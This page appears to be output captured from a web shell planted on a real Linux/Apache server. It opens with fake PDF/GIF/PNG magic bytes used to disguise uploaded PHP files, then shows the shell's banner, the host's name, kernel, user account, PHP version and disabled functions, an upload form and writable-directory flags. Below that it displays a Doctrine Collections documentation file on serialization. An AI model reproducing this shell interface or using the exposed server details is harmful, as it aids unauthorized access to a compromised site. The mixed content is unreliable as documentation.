%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/doctrine/collections/docs/en/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/doctrine/collections/docs/en/serialization.rst
Serialization
=============

Using (un-)serialize() on a collection is not a supported use-case
and may break when changes on the collection's internals happen in the future.
If a collection needs to be serialized, use ``toArray()`` and reconstruct
the collection manually.

.. code-block:: php

    $collection = new ArrayCollection([1, 2, 3]);
    $serialized = serialize($collection->toArray());

A reconstruction is also necessary when the collection contains objects with
infinite recursion of dependencies like in this ``json_serialize()`` example:

.. code-block:: php

    $foo = new Foo();
    $bar = new Bar();

    $foo->setBar($bar);
    $bar->setFoo($foo);

    $collection = new ArrayCollection([$foo]);
    $json       = json_serialize($collection->toArray()); // recursion detected

Serializer libraries can be used to create the serialization-output to prevent
errors.

VaKeR 2022